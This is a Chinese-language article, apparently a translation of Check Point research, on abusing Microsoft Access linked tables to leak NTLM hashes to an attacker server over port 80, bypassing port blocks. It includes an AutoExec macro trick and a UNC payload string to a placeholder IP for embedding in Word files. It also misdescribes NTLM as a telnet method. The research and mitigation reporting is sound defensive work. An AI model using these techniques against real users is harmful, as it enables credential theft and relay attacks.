10 月 12 日,微软宣布新一轮过渡计划,弃用 NTLM 身份认证方式,让更多企业和用户过渡到Kerberos。
Microsoft Access (Office套件的一部分)有一个“链接到远程SQL Server表”的功能。攻击者可能会滥用此功能,通过任意TCP端口(如端口80)自动将Windows用户的NTLM令牌泄露给攻击者控制的任何服务器。只要受害者打开.accdb或.mdb文件,就可以发起攻击。事实上,更常见的Office文件类型(如.rtf)都可以以类似方式运行。这种技术允许攻击者绕过现有的防火墙规则,这些规则旨在阻止由外部攻击发起的NTLM信息窃取。
NTLM是NT LAN Manager的缩写,这也说明了协议的来源。NTLM是指 telnet 的一种验证身份方式,即问询/应答身份验证协议,是 Windows NT 早期版本的标准安全协议,是Microsoft在1993年引入的一种目前已被弃用的身份验证协议。微软在今年10月宣布,弃用 NTLM 身份认证方式,让更多企业和用户过渡使用 Kerberos, Kerberos 提供了更好的安全保证,并且比 NTLM 更具可扩展性,现在成为 Windows 中首选默认协议。
企业虽然可以关闭 NTLM 身份认证,但那些硬连线(hardwired)的应用程序和服务可能会遇到问题,为此微软引入了两个身份验证功能。
其一是 Initial and Pass Through Authentication Using Kerberos(IAKerb),允许“没有域控制器视线的客户端通过有视线的服务器进行身份验证”。
另一个是 Kerberos 的本地密钥分发中心 (KDC),它增加了对本地账户的身份验证支持。通过上述两项功能的推进,Kerberos 将成为唯一的 Windows 身份验证协议。
以下是针对NTLM的三种最著名的攻击。
1.暴力攻击利用NTLM哈希函数规范中的固有漏洞,从存储在服务器上的NTLM哈希中恢复原始密码。
2.传递哈希攻击滥用了NTLM哈希来挑战 / 响应模型来证实客户端的身份,使得使用哈希而不是普通密码这一事实在本质上毫无意义。
3.中继攻击通常被称为“中间人”攻击,攻击者拦截握手交易,在与服务器交谈时假扮成客户端,反之亦然,这样就可以将他们的消息互相传递,直到会话被验证的关键时刻,此时攻击者切断合法客户端并代替他们进行对话。
上述攻击的缓解措施出现在Kerberos中,Kerberos是麻省理工学院开发的一种身份验证协议,比NTLM早了整整五年。
不过,对于任何想要保留NTLM服务器的用户来说,微软设计了一个过渡机制,简单地阻止通过NTLM协议使用的端口(139和445)的所有组织出站流量,使上述攻击更加难以执行,这样攻击者就不可能获得对网络的初始 Access的口令。这种由外部攻击发起的攻击技术被称为“强制身份验证”。
不过这种权宜之计总是漏洞百出。在这篇文章中,我们提出了一种新的方法,可以绕过这些端口使缓解措施失效,即可以直接针对内部用户进行NTLM攻击。这种方法通过滥用MS-Access应用程序中称为“ Access链表”的功能来实现。
在讨论攻击者如何滥用此功能之前,我们将首先解释该功能在用于合法目的时是如何正常工作的。使用链表,用户可以连接到外部数据库,例如远程Microsoft SQL服务器,这种功能的优势应该是不言而喻的,不过让每个用户在他们的本地设备上保留一个数据库副本在很多时候并不是一个很好的解决方案,而且绝对不是长久的解决方案。要激活该功能,用户可以点击“外部数据”选项卡的“ODBC Database”按钮,如下所示。我们以Office 2010为例,但这同样适用于所有版本的Office。
点击“ODBC Database”按钮启动连接到Microsoft Access 2010上的远程SQL Server的引导
MS-Access建议使用另一种方法,用一次性下载远程表,这样就可以将结果视为本地表。为了实际使用链接功能并与远程数据库同步,用户选择了另一个选项,“通过创建链表链接到数据源”。
MS-Access允许用户在创建远程数据库的本地副本和完整的远程链接之间进行选择
然后,用户在对话框中选择“SQL Server”作为ODBC Database。
选择ODBC Database类型的对话框
ODBC(Open Database Connectivity,开放数据库互连)是微软公司开放服务结构(WOSA,Windows Open Services Architecture)中有关数据库的一个组成部分,它建立了一组规范,并提供了一组对数据库访问的标准API(应用程序编程接口)。
此时,用户需要选择使用远程服务器进行身份验证的方法,如下图所示。
选择SQL Server身份验证方法的对话框
一般的用户会根据服务器支持的身份验证方法、公司安全策略以及他们个人认为方便的方式进行选择。为了方便讲解,我们会假设用户选择使用自己的Windows ID凭据进行身份验证的选项。此外,典型的用户可能会将远程服务器的端口保留为默认值(1433),但是,出于为了方便讲解,我们暂时假设用户选择不经常使用的端口,例如端口80。
毕竟,没有什么可以阻止SQL服务器监听端口80,一个合法组织的SQL服务器可能不会这样做,但是如果有人这样做了,网络也不会产生什么异常。
选择服务器的IP地址、端口和协议的对话框
假设远程SQL服务器的身份验证成功并且所选表存在,那么在客户机的“tables”列表中就会出现一个表示链表的新条目。当用户点击此条目时,将建立到该远程数据库的连接,并且MS-Access客户端尝试使用用户的Windows凭据与SQL服务器进行身份验证。
在MS-Access的“tables”列表中显示的链表
在将该功能武器化并转化为NTLM中继攻击之前,攻击者可以设置一个他们控制的服务器,监听端口80,并将其IP地址放在上面的“服务器别名”字段中。然后,他们可以将数据库文件(包括链表)发送给受害者。如果受害者打开文件并点击表,受害客户端CV将联系攻击者控制的服务器SA 并尝试进行身份验证。然后,SA 处于执行攻击的最佳位置,它可以立即启动同一组织中目标NTLM服务器ST 的身份验证过程,接收挑战,并将该挑战作为攻击者控制的CV的一部分发送到CV↔SA 身份验证过程,接收有效响应,然后将该响应传递给SA来通过ST的成功身份验证。身份验证是使用TDS中封装的NTLMSSP来完成的。让受害者打开文件并点击数据库是一件很危险的事情。关于“点击数据库”部分,从技术上讲,MS Access支持宏,因此攻击者理论上可以创建一个自动打开链接表的宏,并将其设置为在打开文件时自动执行,这是通过将宏命名为AutoExec来实现的。当然,这是一条死胡同,因为随后会提示用户启用宏,就在去年,微软计划推出了一项针对这种情况的新安全功能。这个功能不适用于简单的MS Access宏。这些与成熟的VBA不同,它们的功能较弱,处理起来也不那么谨慎。即使是2010年推出的可证明有效的“受保护视图(protected view)”功能,该功能会提示用户文档“可能不安全”并提示用户“启用宏”。
添加一个打开链接表的MicrosoftAccess宏,并将其保存为“AutoExec”以在打开文件时执行
Microsoft Access在Windows上注册为“OLE链接”服务器。例如,可以在Word文档中嵌入图像,当文档被打开时,MS-Paint将处理图像并发回信息,从而使MS-Word可以内联显示图像。
同样,也可以将MS word文档中的.accdb文件链接为OLE对象,该对象将自动下载(也可以通过端口80/tcp),然后由MS Access处理。像下面这样简单的字符串就会触发这个行为:
\\\\111.111.111.111@80\\test.accdb
总的来说,整个攻击链是这样的:
滥用链表
为了方便研究,研究人员建立一个展示这种攻击的概念验证环境,禁用服务器的第一个响应数据包(PRE-LOGIN消息响应)中的加密,可以使研究的工作变得更容易,因为不需要处理TDS TLS加密。
以下是模拟受害者和虚假SQL服务器活动的过程,受害者位于典型的端口阻塞环境中(阻塞传出的139/tcp和445/tcp流量,但允许80/tcp),而攻击者控制的服务器位于公共云中。受害者在试图通过端口80上的服务器进行身份验证时泄露了本地net-NTLMv2哈希值。
流量捕获(PCAP)显示了一次成功的攻击,它使受害者通过端口80泄露了本地NTLM哈希
研究人员已经成功地在所有可用的默认Windows + Office环境中复制了攻击,包括最新的Windows 10/11 和Office 2021环境。
建议你可以考虑禁用MS-Access中的宏,或者如果MS-Access对你的Office套件安装不是必需的,则将其从系统中完全删除。
另外,请不要打开未经请求的附件。
参考及来源:https://research.checkpoint.com/2023/abusing-microsoft-access-linked-table-feature-to-perform-ntlm-forced-authentication-attacks/